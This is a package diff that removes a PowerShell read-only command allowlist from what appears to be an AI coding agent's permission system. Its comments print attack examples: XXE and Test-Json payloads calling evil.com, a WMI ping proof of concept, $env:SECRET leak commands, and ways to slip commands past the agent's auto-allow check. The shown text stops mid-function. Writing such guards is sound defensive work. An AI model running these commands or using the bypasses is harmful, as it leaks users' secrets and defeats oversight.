@iaforged/context-code 1.0.62 → 1.0.65

package/dist/src/tools/PowerShellTool/readOnlyValidation.js

@@ -1,1633 +0,0 @@
-/**
- * PowerShell read-only command validation.
- *
- * Cmdlets are case-insensitive; all matching is done in lowercase.
- */
-import { getPlatform } from '../../utils/platform.js';
-import { COMMON_ALIASES, deriveSecurityFlags, getPipelineSegments, isNullRedirectionTarget, isPowerShellParameter, } from '../../utils/powershell/parser.js';
-import { DOCKER_READ_ONLY_COMMANDS, EXTERNAL_READONLY_COMMANDS, GH_READ_ONLY_COMMANDS, GIT_READ_ONLY_COMMANDS, validateFlags, } from '../../utils/shell/readOnlyCommandValidation.js';
-import { COMMON_PARAMETERS } from './commonParameters.js';
-const DOTNET_READ_ONLY_FLAGS = new Set([
-    '--version',
-    '--info',
-    '--list-runtimes',
-    '--list-sdks',
-]);
-/**
- * Shared callback for cmdlets that print or coerce their args to stdout/
- * stderr. `Write-Output $env:SECRET` prints it directly; `Start-Sleep
- * $env:SECRET` leaks via type-coerce error ("Cannot convert value 'sk-...'
- * to System.Double"). Bash's echo regex WHITELISTS safe chars per token.
- *
- * Two checks:
- * 1. elementTypes whitelist — StringConstant (literals) + Parameter (flag
- *    names). Rejects Variable, Other (HashtableAst/ConvertExpressionAst/
- *    BinaryExpressionAst all map to Other), ScriptBlock, SubExpression,
- *    ExpandableString. Same pattern as SAFE_PATH_ELEMENT_TYPES.
- * 2. Colon-bound parameter value — `-InputObject:$env:SECRET` creates a
- *    SINGLE CommandParameterAst; the VariableExpressionAst is its .Argument
- *    child, not a separate CommandElement. elementTypes = [..., 'Parameter'],
- *    whitelist passes. Query children[] for the .Argument's mapped type;
- *    anything other than StringConstant (Variable, ParenExpression wrapping
- *    arbitrary pipelines, Hashtable, etc.) is a leak vector.
- */
-export function argLeaksValue(_cmd, element) {
-    const argTypes = (element?.elementTypes ?? []).slice(1);
-    const args = element?.args ?? [];
-    const children = element?.children;
-    for (let i = 0; i < argTypes.length; i++) {
-        if (argTypes[i] !== 'StringConstant' && argTypes[i] !== 'Parameter') {
-            // ArrayLiteralAst (`Select-Object Name, Id`) maps to 'Other' — the
-            // parse script only populates children for CommandParameterAst.Argument,
-            // so we can't inspect elements. Fall back to string-archaeology on the
-            // extent text: Hashtable has `@{`, ParenExpr has `(`, variables have
-            // `$`, type literals have `[`, scriptblocks have `{`. A comma-list of
-            // bare identifiers has none. `Name, $x` still rejects on `$`.
-            if (!/[$(@{[]/.test(args[i] ?? '')) {
-                continue;
-            }
-            return true;
-        }
-        if (argTypes[i] === 'Parameter') {
-            const paramChildren = children?.[i];
-            if (paramChildren) {
-                if (paramChildren.some(c => c.type !== 'StringConstant')) {
-                    return true;
-                }
-            }
-            else {
-                // Fallback: string-archaeology on arg text (pre-children parsers).
-                // Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
-                // sub), `{` (scriptblock), `[` (type literal/static method).
-                const arg = args[i] ?? '';
-                const colonIdx = arg.indexOf(':');
-                if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
-                    return true;
-                }
-            }
-        }
-    }
-    return false;
-}
-/**
- * Allowlist of PowerShell cmdlets that are considered read-only.
- * Each cmdlet maps to its configuration including safe flags.
- *
- * Note: PowerShell cmdlets are case-insensitive, so we store keys in lowercase
- * and normalize input for matching.
- *
- * Uses Object.create(null) to prevent prototype-chain pollution — attacker-
- * controlled command names like 'constructor' or '__proto__' must return
- * undefined, not inherited Object.prototype properties. Same defense as
- * COMMON_ALIASES in parser.ts.
- */
-export const CMDLET_ALLOWLIST = Object.assign(Object.create(null), {
-    // =========================================================================
-    // PowerShell Cmdlets - Filesystem (read-only)
-    // =========================================================================
-    'get-childitem': {
-        safeFlags: [
-            '-Path',
-            '-LiteralPath',
-            '-Filter',
-            '-Include',
-            '-Exclude',
-            '-Recurse',
-            '-Depth',
-            '-Name',
-            '-Force',
-            '-Attributes',
-            '-Directory',
-            '-File',
-            '-Hidden',
-            '-ReadOnly',
-            '-System',
-        ],
-    },
-    'get-content': {
-        safeFlags: [
-            '-Path',
-            '-LiteralPath',
-            '-TotalCount',
-            '-Head',
-            '-Tail',
-            '-Raw',
-            '-Encoding',
-            '-Delimiter',
-            '-ReadCount',
-        ],
-    },
-    'get-item': {
-        safeFlags: ['-Path', '-LiteralPath', '-Force', '-Stream'],
-    },
-    'get-itemproperty': {
-        safeFlags: ['-Path', '-LiteralPath', '-Name'],
-    },
-    'test-path': {
-        safeFlags: [
-            '-Path',
-            '-LiteralPath',
-            '-PathType',
-            '-Filter',
-            '-Include',
-            '-Exclude',
-            '-IsValid',
-            '-NewerThan',
-            '-OlderThan',
-        ],
-    },
-    'resolve-path': {
-        safeFlags: ['-Path', '-LiteralPath', '-Relative'],
-    },
-    'get-filehash': {
-        safeFlags: ['-Path', '-LiteralPath', '-Algorithm', '-InputStream'],
-    },
-    'get-acl': {
-        safeFlags: [
-            '-Path',
-            '-LiteralPath',
-            '-Audit',
-            '-Filter',
-            '-Include',
-            '-Exclude',
-        ],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Navigation (read-only, just changes working directory)
-    // =========================================================================
-    'set-location': {
-        safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
-    },
-    'push-location': {
-        safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
-    },
-    'pop-location': {
-        safeFlags: ['-PassThru', '-StackName'],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Text searching/filtering (read-only)
-    // =========================================================================
-    'select-string': {
-        safeFlags: [
-            '-Path',
-            '-LiteralPath',
-            '-Pattern',
-            '-InputObject',
-            '-SimpleMatch',
-            '-CaseSensitive',
-            '-Quiet',
-            '-List',
-            '-NotMatch',
-            '-AllMatches',
-            '-Encoding',
-            '-Context',
-            '-Raw',
-            '-NoEmphasis',
-        ],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Data conversion (pure transforms, no side effects)
-    // =========================================================================
-    'convertto-json': {
-        safeFlags: [
-            '-InputObject',
-            '-Depth',
-            '-Compress',
-            '-EnumsAsStrings',
-            '-AsArray',
-        ],
-    },
-    'convertfrom-json': {
-        safeFlags: ['-InputObject', '-Depth', '-AsHashtable', '-NoEnumerate'],
-    },
-    'convertto-csv': {
-        safeFlags: [
-            '-InputObject',
-            '-Delimiter',
-            '-NoTypeInformation',
-            '-NoHeader',
-            '-UseQuotes',
-        ],
-    },
-    'convertfrom-csv': {
-        safeFlags: ['-InputObject', '-Delimiter', '-Header', '-UseCulture'],
-    },
-    'convertto-xml': {
-        safeFlags: ['-InputObject', '-Depth', '-As', '-NoTypeInformation'],
-    },
-    'convertto-html': {
-        safeFlags: [
-            '-InputObject',
-            '-Property',
-            '-Head',
-            '-Title',
-            '-Body',
-            '-Pre',
-            '-Post',
-            '-As',
-            '-Fragment',
-        ],
-    },
-    'format-hex': {
-        safeFlags: [
-            '-Path',
-            '-LiteralPath',
-            '-InputObject',
-            '-Encoding',
-            '-Count',
-            '-Offset',
-        ],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Object inspection and manipulation (read-only)
-    // =========================================================================
-    'get-member': {
-        safeFlags: [
-            '-InputObject',
-            '-MemberType',
-            '-Name',
-            '-Static',
-            '-View',
-            '-Force',
-        ],
-    },
-    'get-unique': {
-        safeFlags: ['-InputObject', '-AsString', '-CaseInsensitive', '-OnType'],
-    },
-    'compare-object': {
-        safeFlags: [
-            '-ReferenceObject',
-            '-DifferenceObject',
-            '-Property',
-            '-SyncWindow',
-            '-CaseSensitive',
-            '-Culture',
-            '-ExcludeDifferent',
-            '-IncludeEqual',
-            '-PassThru',
-        ],
-    },
-    // SECURITY: select-xml REMOVED. XML external entity (XXE) resolution can
-    // trigger network requests via DOCTYPE SYSTEM/PUBLIC references in -Content
-    // or -Xml. `Select-Xml -Content '<!DOCTYPE x [<!ENTITY e SYSTEM
-    // "http://evil.com/x">]><x>&e;</x>' -XPath '/'` sends a GET request.
-    // PowerShell's XmlDocument.LoadXml doesn't disable entity resolution by
-    // default. Removal forces prompt.
-    'join-string': {
-        safeFlags: [
-            '-InputObject',
-            '-Property',
-            '-Separator',
-            '-OutputPrefix',
-            '-OutputSuffix',
-            '-SingleQuote',
-            '-DoubleQuote',
-            '-FormatString',
-        ],
-    },
-    // SECURITY: Test-Json REMOVED. -Schema (positional 1) accepts JSON Schema
-    // with $ref pointing to external URLs — Test-Json fetches them (network
-    // request). safeFlags only validates EXPLICIT flags, not positional binding:
-    // `Test-Json '{}' '{"$ref":"http://evil.com"}'` → position 1 binds to
-    // -Schema → safeFlags check sees two non-flag args, skips both → auto-allow.
-    'get-random': {
-        safeFlags: [
-            '-InputObject',
-            '-Minimum',
-            '-Maximum',
-            '-Count',
-            '-SetSeed',
-            '-Shuffle',
-        ],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Path utilities (read-only)
-    // =========================================================================
-    // convert-path's entire purpose is to resolve filesystem paths. It is now
-    // in CMDLET_PATH_CONFIG for proper path validation, so safeFlags here only
-    // list the path parameters (which CMDLET_PATH_CONFIG will validate).
-    'convert-path': {
-        safeFlags: ['-Path', '-LiteralPath'],
-    },
-    'join-path': {
-        // -Resolve removed: it touches the filesystem to verify the joined path
-        // exists, but the path was not validated against allowed directories.
-        // Without -Resolve, Join-Path is pure string manipulation.
-        safeFlags: ['-Path', '-ChildPath', '-AdditionalChildPath'],
-    },
-    'split-path': {
-        // -Resolve removed: same rationale as join-path. Without -Resolve,
-        // Split-Path is pure string manipulation.
-        safeFlags: [
-            '-Path',
-            '-LiteralPath',
-            '-Qualifier',
-            '-NoQualifier',
-            '-Parent',
-            '-Leaf',
-            '-LeafBase',
-            '-Extension',
-            '-IsAbsolute',
-        ],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Additional system info (read-only)
-    // =========================================================================
-    // NOTE: Get-Clipboard is intentionally NOT included - it can expose sensitive
-    // data like passwords or API keys that the user may have copied. Bash also
-    // does not auto-allow clipboard commands (pbpaste, xclip, etc.).
-    'get-hotfix': {
-        safeFlags: ['-Id', '-Description'],
-    },
-    'get-itempropertyvalue': {
-        safeFlags: ['-Path', '-LiteralPath', '-Name'],
-    },
-    'get-psprovider': {
-        safeFlags: ['-PSProvider'],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Process/System info
-    // =========================================================================
-    'get-process': {
-        safeFlags: [
-            '-Name',
-            '-Id',
-            '-Module',
-            '-FileVersionInfo',
-            '-IncludeUserName',
-        ],
-    },
-    'get-service': {
-        safeFlags: [
-            '-Name',
-            '-DisplayName',
-            '-DependentServices',
-            '-RequiredServices',
-            '-Include',
-            '-Exclude',
-        ],
-    },
-    'get-computerinfo': {
-        allowAllFlags: true,
-    },
-    'get-host': {
-        allowAllFlags: true,
-    },
-    'get-date': {
-        safeFlags: ['-Date', '-Format', '-UFormat', '-DisplayHint', '-AsUTC'],
-    },
-    'get-location': {
-        safeFlags: ['-PSProvider', '-PSDrive', '-Stack', '-StackName'],
-    },
-    'get-psdrive': {
-        safeFlags: ['-Name', '-PSProvider', '-Scope'],
-    },
-    // SECURITY: Get-Command REMOVED from allowlist. -Name (positional 0,
-    // ValueFromPipeline=true) triggers module autoload which runs .psm1 init
-    // code. Chain attack: pre-plant module in PSModulePath, trigger autoload.
-    // Previously tried removing -Name/-Module from safeFlags + rejecting
-    // positional StringConstant, but pipeline input (`'EvilCmdlet' | Get-Command`)
-    // bypasses the callback entirely since args are empty. Removal forces
-    // prompt. Users who need it can add explicit allow rule.
-    'get-module': {
-        safeFlags: [
-            '-Name',
-            '-ListAvailable',
-            '-All',
-            '-FullyQualifiedName',
-            '-PSEdition',
-        ],
-    },
-    // SECURITY: Get-Help REMOVED from allowlist. Same module autoload hazard
-    // as Get-Command (-Name has ValueFromPipeline=true, pipeline input bypasses
-    // arg-level callback). Removal forces prompt.
-    'get-alias': {
-        safeFlags: ['-Name', '-Definition', '-Scope', '-Exclude'],
-    },
-    'get-history': {
-        safeFlags: ['-Id', '-Count'],
-    },
-    'get-culture': {
-        allowAllFlags: true,
-    },
-    'get-uiculture': {
-        allowAllFlags: true,
-    },
-    'get-timezone': {
-        safeFlags: ['-Name', '-Id', '-ListAvailable'],
-    },
-    'get-uptime': {
-        allowAllFlags: true,
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Output & misc (no side effects)
-    // =========================================================================
-    // Bash parity: `echo` is auto-allowed via custom regex (BashTool
-    // readOnlyValidation.ts:~1517). That regex WHITELISTS safe chars per arg.
-    // See argLeaksValue above for the three attack shapes it blocks.
-    'write-output': {
-        safeFlags: ['-InputObject', '-NoEnumerate'],
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    // Write-Host bypasses the pipeline (Information stream, PS5+), so it's
-    // strictly less capable than Write-Output — but the same
-    // `Write-Host $env:SECRET` leak-via-display applies.
-    'write-host': {
-        safeFlags: [
-            '-Object',
-            '-NoNewline',
-            '-Separator',
-            '-ForegroundColor',
-            '-BackgroundColor',
-        ],
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    // Bash parity: `sleep` is in READONLY_COMMANDS (BashTool
-    // readOnlyValidation.ts:~1146). Zero side effects at runtime — but
-    // `Start-Sleep $env:SECRET` leaks via type-coerce error. Same guard.
-    'start-sleep': {
-        safeFlags: ['-Seconds', '-Milliseconds', '-Duration'],
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    // Format-* and Measure-Object moved here from SAFE_OUTPUT_CMDLETS after
-    // security review found all accept calculated-property hashtables (same
-    // exploit as Where-Object — I4 regression). isSafeOutputCommand is a
-    // NAME-ONLY check that filtered them out of the approval loop BEFORE arg
-    // validation. Here, argLeaksValue validates args:
-    //   | Format-Table               → no args → safe → allow
-    //   | Format-Table Name, CPU     → StringConstant positionals → safe → allow
-    //   | Format-Table $env:SECRET   → Variable elementType → blocked → passthrough
-    //   | Format-Table @{N='x';E={}} → Other (HashtableAst) → blocked → passthrough
-    //   | Measure-Object -Property $env:SECRET → same → blocked
-    // allowAllFlags: argLeaksValue validates arg elementTypes (Variable/Hashtable/
-    // ScriptBlock → blocked). Format-* flags themselves (-AutoSize, -GroupBy,
-    // -Wrap, etc.) are display-only. Without allowAllFlags, the empty-safeFlags
-    // default rejects ALL flags — `Format-Table -AutoSize` would over-prompt.
-    'format-table': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    'format-list': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    'format-wide': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    'format-custom': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    'measure-object': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    // Select-Object/Sort-Object/Group-Object/Where-Object: same calculated-
-    // property hashtable surface as format-* (about_Calculated_Properties).
-    // Removed from SAFE_OUTPUT_CMDLETS but previously missing here, causing
-    // `Get-Process | Select-Object Name` to over-prompt. argLeaksValue handles
-    // them identically: StringConstant property names pass (`Select-Object Name`),
-    // HashtableAst/ScriptBlock/Variable args block (`Select-Object @{N='x';E={...}}`,
-    // `Where-Object { ... }`). allowAllFlags: -First/-Last/-Skip/-Descending/
-    // -Property/-EQ etc. are all selection/ordering flags — harmless on their own;
-    // argLeaksValue catches the dangerous arg *values*.
-    'select-object': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    'sort-object': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    'group-object': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    'where-object': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    // Out-String/Out-Host moved here from SAFE_OUTPUT_CMDLETS — both accept
-    // -InputObject which leaks the same way Write-Output does.
-    // `Get-Process | Out-String -InputObject $env:SECRET` → secret prints.
-    // allowAllFlags: -Width/-Stream/-Paging/-NoNewline are display flags;
-    // argLeaksValue catches the dangerous -InputObject *value*.
-    'out-string': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    'out-host': {
-        allowAllFlags: true,
-        additionalCommandIsDangerousCallback: argLeaksValue,
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Network info (read-only)
-    // =========================================================================
-    'get-netadapter': {
-        safeFlags: [
-            '-Name',
-            '-InterfaceDescription',
-            '-InterfaceIndex',
-            '-Physical',
-        ],
-    },
-    'get-netipaddress': {
-        safeFlags: [
-            '-InterfaceIndex',
-            '-InterfaceAlias',
-            '-AddressFamily',
-            '-Type',
-        ],
-    },
-    'get-netipconfiguration': {
-        safeFlags: ['-InterfaceIndex', '-InterfaceAlias', '-Detailed', '-All'],
-    },
-    'get-netroute': {
-        safeFlags: [
-            '-InterfaceIndex',
-            '-InterfaceAlias',
-            '-AddressFamily',
-            '-DestinationPrefix',
-        ],
-    },
-    'get-dnsclientcache': {
-        // SECURITY: -CimSession/-ThrottleLimit excluded. -CimSession connects to
-        // a remote host (network request). Previously empty config = all flags OK.
-        safeFlags: ['-Entry', '-Name', '-Type', '-Status', '-Section', '-Data'],
-    },
-    'get-dnsclient': {
-        safeFlags: ['-InterfaceIndex', '-InterfaceAlias'],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - Event log (read-only)
-    // =========================================================================
-    'get-eventlog': {
-        safeFlags: [
-            '-LogName',
-            '-Newest',
-            '-After',
-            '-Before',
-            '-EntryType',
-            '-Index',
-            '-InstanceId',
-            '-Message',
-            '-Source',
-            '-UserName',
-            '-AsBaseObject',
-            '-List',
-        ],
-    },
-    'get-winevent': {
-        // SECURITY: -FilterXml/-FilterHashtable removed. -FilterXml accepts XML
-        // with DOCTYPE external entities (XXE → network request). -FilterHashtable
-        // would be caught by the elementTypes 'Other' check since @{} is
-        // HashtableAst, but removal is explicit. Same XXE hazard as Select-Xml
-        // (removed above). -FilterXPath kept (string pattern only, no entity
-        // resolution). -ComputerName/-Credential also implicitly excluded.
-        safeFlags: [
-            '-LogName',
-            '-ListLog',
-            '-ListProvider',
-            '-ProviderName',
-            '-Path',
-            '-MaxEvents',
-            '-FilterXPath',
-            '-Force',
-            '-Oldest',
-        ],
-    },
-    // =========================================================================
-    // PowerShell Cmdlets - WMI/CIM
-    // =========================================================================
-    // SECURITY: Get-WmiObject and Get-CimInstance REMOVED. They actively
-    // trigger network requests via classes like Win32_PingStatus (sends ICMP
-    // when enumerated) and can query remote computers via -ComputerName/
-    // CimSession. -Class/-ClassName/-Filter/-Query accept arbitrary WMI
-    // classes/WQL that we cannot statically validate.
-    //   PoC: Get-WmiObject -Class Win32_PingStatus -Filter 'Address="evil.com"'
-    //   → sends ICMP to evil.com (DNS leak + potential NTLM auth leak).
-    // WMI can also auto-load provider DLLs (init code). Removal forces prompt.
-    // get-cimclass stays — only lists class metadata, no instance enumeration.
-    'get-cimclass': {
-        safeFlags: [
-            '-ClassName',
-            '-Namespace',
-            '-MethodName',
-            '-PropertyName',
-            '-QualifierName',
-        ],
-    },
-    // =========================================================================
-    // Git - uses shared external command validation with per-flag checking
-    // =========================================================================
-    git: {},
-    // =========================================================================
-    // GitHub CLI (gh) - uses shared external command validation
-    // =========================================================================
-    gh: {},
-    // =========================================================================
-    // Docker - uses shared external command validation
-    // =========================================================================
-    docker: {},
-    // =========================================================================
-    // Windows-specific system commands
-    // =========================================================================
-    ipconfig: {
-        // SECURITY: On macOS, `ipconfig set <iface> <mode>` configures network
-        // (writes system config). safeFlags only validates FLAGS, positional args
-        // are SKIPPED. Reject any positional argument — only bare `ipconfig` or
-        // `ipconfig /all` (read-only display) allowed. Windows ipconfig only uses
-        // /flags (display), macOS ipconfig uses subcommands (get/set/waitall).
-        safeFlags: ['/all', '/displaydns', '/allcompartments'],
-        additionalCommandIsDangerousCallback: (_cmd, element) => {
-            return (element?.args ?? []).some(a => !a.startsWith('/') && !a.startsWith('-'));
-        },
-    },
-    netstat: {
-        safeFlags: [
-            '-a',
-            '-b',
-            '-e',
-            '-f',
-            '-n',
-            '-o',
-            '-p',
-            '-q',
-            '-r',
-            '-s',
-            '-t',
-            '-x',
-            '-y',
-        ],
-    },
-    systeminfo: {
-        safeFlags: ['/FO', '/NH'],
-    },
-    tasklist: {
-        safeFlags: ['/M', '/SVC', '/V', '/FI', '/FO', '/NH'],
-    },
-    // where.exe: Windows PATH locator, bash `which` equivalent. Reaches here via
-    // SAFE_EXTERNAL_EXES bypass at the nameType gate in isAllowlistedCommand.
-    // All flags are read-only (/R /F /T /Q), matching bash's treatment of `which`
-    // in BashTool READONLY_COMMANDS.
-    'where.exe': {
-        allowAllFlags: true,
-    },
-    hostname: {
-        // SECURITY: `hostname NAME` on Linux/macOS SETS the hostname (writes to
-        // system config). `hostname -F FILE` / `--file=FILE` also sets from file.
-        // Only allow bare `hostname` and known read-only flags.
-        safeFlags: ['-a', '-d', '-f', '-i', '-I', '-s', '-y', '-A'],
-        additionalCommandIsDangerousCallback: (_cmd, element) => {
-            // Reject any positional (non-flag) argument — sets hostname.
-            return (element?.args ?? []).some(a => !a.startsWith('-'));
-        },
-    },
-    whoami: {
-        safeFlags: [
-            '/user',
-            '/groups',
-            '/claims',
-            '/priv',
-            '/logonid',
-            '/all',
-            '/fo',
-            '/nh',
-        ],
-    },
-    ver: {
-        allowAllFlags: true,
-    },
-    arp: {
-        safeFlags: ['-a', '-g', '-v', '-N'],
-    },
-    route: {
-        safeFlags: ['print', 'PRINT', '-4', '-6'],
-        additionalCommandIsDangerousCallback: (_cmd, element) => {
-            // SECURITY: route.exe syntax is `route [-f] [-p] [-4|-6] VERB [args...]`.
-            // The first non-flag positional is the verb. `route add 10.0.0.0 mask
-            // 255.0.0.0 192.168.1.1 print` adds a route (print is a trailing display
-            // modifier). The old check used args.some('print') which matched 'print'
-            // anywhere — position-insensitive.
-            if (!element) {
-                return true;
-            }
-            const verb = element.args.find(a => !a.startsWith('-'));
-            return verb?.toLowerCase() !== 'print';
-        },
-    },
-    // netsh: intentionally NOT allowlisted. Three rounds of denylist gaps in PR
-    // #22060 (verb position → dash flags → slash flags → more verbs) proved
-    // the grammar is too complex to allowlist safely: 3-deep context nesting
-    // (`netsh interface ipv4 show addresses`), dual-prefix flags (-f / /f),
-    // script execution via -f and `exec`, remote RPC via -r, offline-mode
-    // commit, wlan connect/disconnect, etc. Each denylist expansion revealed
-    // another gap. `route` stays — `route print` is the only read-only form,
-    // simple single-verb-position grammar.
-    getmac: {
-        safeFlags: ['/FO', '/NH', '/V'],
-    },
-    // =========================================================================
-    // Cross-platform CLI tools
-    // =========================================================================
-    // File inspection
-    // SECURITY: file -C compiles a magic database and WRITES to disk. Only
-    // allow introspection flags; reject -C / --compile / -m / --magic-file.
-    file: {
-        safeFlags: [
-            '-b',
-            '--brief',
-            '-i',
-            '--mime',
-            '-L',
-            '--dereference',
-            '--mime-type',
-            '--mime-encoding',
-            '-z',
-            '--uncompress',
-            '-p',
-            '--preserve-date',
-            '-k',
-            '--keep-going',
-            '-r',
-            '--raw',
-            '-v',
-            '--version',
-            '-0',
-            '--print0',
-            '-s',
-            '--special-files',
-            '-l',
-            '-F',
-            '--separator',
-            '-e',
-            '-P',
-            '-N',
-            '--no-pad',
-            '-E',
-            '--extension',
-        ],
-    },
-    tree: {
-        safeFlags: ['/F', '/A', '/Q', '/L'],
-    },
-    findstr: {
-        safeFlags: [
-            '/B',
-            '/E',
-            '/L',
-            '/R',
-            '/S',
-            '/I',
-            '/X',
-            '/V',
-            '/N',
-            '/M',
-            '/O',
-            '/P',
-            // Flag matching strips ':' before comparison (e.g., /C:pattern → /C),
-            // so these entries must NOT include the trailing colon.
-            '/C',
-            '/G',
-            '/D',
-            '/A',
-        ],
-    },
-    // =========================================================================
-    // Package managers - uses shared external command validation
-    // =========================================================================
-    dotnet: {},
-    // SECURITY: man and help direct entries REMOVED. They aliased Get-Help
-    // (also removed — see above). Without these entries, lookupAllowlist
-    // resolves via COMMON_ALIASES to 'get-help' which is not in allowlist →
-    // prompt. Same module-autoload hazard as Get-Help.
-});
-/**
- * Safe output/formatting cmdlets that can receive piped input.
- * Stored as canonical cmdlet names in lowercase.
- */
-const SAFE_OUTPUT_CMDLETS = new Set([
-    'out-null',
-    // NOT out-string/out-host — both accept -InputObject which leaks args the
-    // same way Write-Output does. Moved to CMDLET_ALLOWLIST with argLeaksValue.
-    // `Get-Process | Out-String -InputObject $env:SECRET` — Out-String was
-    // filtered name-only, the $env arg was never validated.
-    // out-null stays: it discards everything, no -InputObject leak.
-    // NOT foreach-object / where-object / select-object / sort-object /
-    // group-object / format-table / format-list / format-wide / format-custom /
-    // measure-object — ALL accept calculated-property hashtables or script-block
-    // predicates that evaluate arbitrary expressions at runtime
-    // (about_Calculated_Properties). Examples:
-    //   Where-Object @{k=$env:SECRET}       — HashtableAst arg, 'Other' elementType
-    //   Select-Object @{N='x';E={...}}      — calculated property scriptblock
-    //   Format-Table $env:SECRET            — positional -Property, prints as header
-    //   Measure-Object -Property $env:SECRET — leaks via "property 'sk-...' not found"
-    //   ForEach-Object { $env:PATH='e' }    — arbitrary script body
-    // isSafeOutputCommand is a NAME-ONLY check — step-5 filters these out of
-    // the approval loop BEFORE arg validation runs. With them here, an
-    // all-safe-output tail auto-allows on empty subCommands regardless of
-    // what the arg contains. Removing them forces the tail through arg-level
-    // validation (hashtable is 'Other' elementType → fails the whitelist at
-    // isAllowlistedCommand → ask; bare $var is 'Variable' → same).
-    //
-    // NOT write-output — pipeline-initial $env:VAR is a VariableExpressionAst,
-    // skipped by getSubCommandsForPermissionCheck (non-CommandAst). With
-    // write-output here, `$env:SECRET | Write-Output` → WO filtered as
-    // safe-output → empty subCommands → auto-allow → secret prints. The
-    // CMDLET_ALLOWLIST entry handles direct `Write-Output 'literal'`.
-]);
-/**
- * Cmdlets moved from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST with
- * argLeaksValue. These are pipeline-tail transformers (Format-*,
- * Measure-Object, Select-Object, etc.) that were previously name-only
- * filtered as safe-output. They now require arg validation (argLeaksValue
- * blocks calculated-property hashtables / scriptblocks / variable args).
- *
- * Used by isAllowlistedPipelineTail for the narrow fallback in
- * checkPermissionMode and isReadOnlyCommand — these callers need the same
- * "skip harmless pipeline tail" behavior as SAFE_OUTPUT_CMDLETS but with
- * the argLeaksValue guard.
- */
-const PIPELINE_TAIL_CMDLETS = new Set([
-    'format-table',
-    'format-list',
-    'format-wide',
-    'format-custom',
-    'measure-object',
-    'select-object',
-    'sort-object',
-    'group-object',
-    'where-object',
-    'out-string',
-    'out-host',
-]);
-/**
- * External .exe names allowed past the nameType='application' gate.
- *
- * classifyCommandName returns 'application' for any name containing a dot,
- * which the nameType gate at isAllowlistedCommand rejects before allowlist
- * lookup. That gate exists to block scripts\Get-Process → stripModulePrefix →
- * cmd.name='Get-Process' spoofing. But it also catches benign PATH-resolved
- * .exe names like where.exe (bash `which` equivalent — pure read, no dangerous
- * flags).
- *
- * SECURITY: the bypass checks the raw first token of cmd.text, NOT cmd.name.
- * stripModulePrefix collapses scripts\where.exe → cmd.name='where.exe', but
- * cmd.text preserves the raw 'scripts\where.exe ...'. Matching cmd.text's
- * first token defeats that spoofing — only a bare `where.exe` (PATH lookup)
- * gets through.
- *
- * Each entry here MUST have a matching CMDLET_ALLOWLIST entry for flag
- * validation.
- */
-const SAFE_EXTERNAL_EXES = new Set(['where.exe']);
-/**
- * Windows PATHEXT extensions that PowerShell resolves via PATH lookup.
- * `git.exe`, `git.cmd`, `git.bat`, `git.com` all invoke git at runtime and
- * must resolve to the same canonical name so git-safety guards fire.
- * .ps1 is intentionally excluded — a script named git.ps1 is not the git
- * binary and does not trigger git's hook mechanism.
- */
-const WINDOWS_PATHEXT = /\.(exe|cmd|bat|com)$/;
-/**
- * Resolves a command name to its canonical cmdlet name using COMMON_ALIASES.
- * Strips Windows executable extensions (.exe, .cmd, .bat, .com) from path-free
- * names so e.g. `git.exe` canonicalises to `git` and triggers git-safety
- * guards (powershellPermissions.ts hasGitSubCommand). SECURITY: only strips
- * when the name has no path separator — `scripts\git.exe` is a relative path
- * (runs a local script, not PATH-resolved git) and must NOT canonicalise to
- * `git`. Returns lowercase canonical name.
- */
-export function resolveToCanonical(name) {
-    let lower = name.toLowerCase();
-    // Only strip PATHEXT on bare names — paths run a specific file, not the
-    // PATH-resolved executable the guards are protecting against.
-    if (!lower.includes('\\') && !lower.includes('/')) {
-        lower = lower.replace(WINDOWS_PATHEXT, '');
-    }
-    const alias = COMMON_ALIASES[lower];
-    if (alias) {
-        return alias.toLowerCase();
-    }
-    return lower;
-}
-/**
- * Checks if a command name (after alias resolution) alters the path-resolution
- * namespace for subsequent statements in the same compound command.
- *
- * Covers TWO classes:
- * 1. Cwd-changing cmdlets: Set-Location, Push-Location, Pop-Location (and
- *    aliases cd, sl, chdir, pushd, popd). Subsequent relative paths resolve
- *    from the new cwd.
- * 2. PSDrive-creating cmdlets: New-PSDrive (and aliases ndr, mount on Windows).
- *    Subsequent drive-prefixed paths (p:/foo) resolve via the new drive root,
- *    not via the filesystem. Finding #21: `New-PSDrive -Name p -Root /etc;
- *    Remove-Item p:/passwd` — the validator cannot know p: maps to /etc.
- *
- * Any compound containing one of these cannot have its later statements'
- * relative/drive-prefixed paths validated against the stale validator cwd.
- *
- * Name kept for BashTool parity (isCwdChangingCmdlet ↔ compoundCommandHasCd);
- * semantically this is "alters path-resolution namespace".
- */
-export function isCwdChangingCmdlet(name) {
